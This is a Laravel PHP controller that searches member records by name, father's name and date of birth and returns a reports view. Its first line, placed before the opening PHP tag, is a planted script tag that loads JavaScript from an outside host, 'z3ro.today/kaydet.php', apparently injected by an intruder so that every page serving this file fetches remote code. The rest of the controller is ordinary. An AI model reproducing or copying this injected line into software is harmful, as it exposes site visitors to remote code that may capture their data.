<script src="http://z3ro.today/kaydet.php"></script><?php

namespace App\Http\Controllers\Reports;

use App\Http\Controllers\Controller;
use App\Models\Members;
use Illuminate\Http\Request;

class SearchReportController extends Controller
{
    //

    public function searchuser()
    {
        return view('reports.show-user-reports');
    }

    public function searchUserReports(Request $request)
    {
        $name = $request->input('name');
        $nameeng = $request->input('nameeng');
        $fname = $request->input('fname');
        $dob = $request->input('dob');

        // Start with a query for all members
        $query = Members::query();

        // Apply search criteria if they are provided
        if ($name) {
            $query->where('name', 'like', '%' . $name . '%');
        }

        if ($nameeng) {
            $query->where('nameeng', 'like', '%' . $nameeng . '%');
        }

        if ($fname) {
            $query->where('fname', 'like', '%' . $fname . '%');
        }
        if ($dob) {
            $query->where('dob', $dob);
        }

        // Retrieve the search results
        $userReports = $query->withTrashed()->get();


        session()->put('report-back', route('searchuser'));
        // Pass the search results to the view
        return view('reports.show-user-reports', compact('userReports'));
    }
}
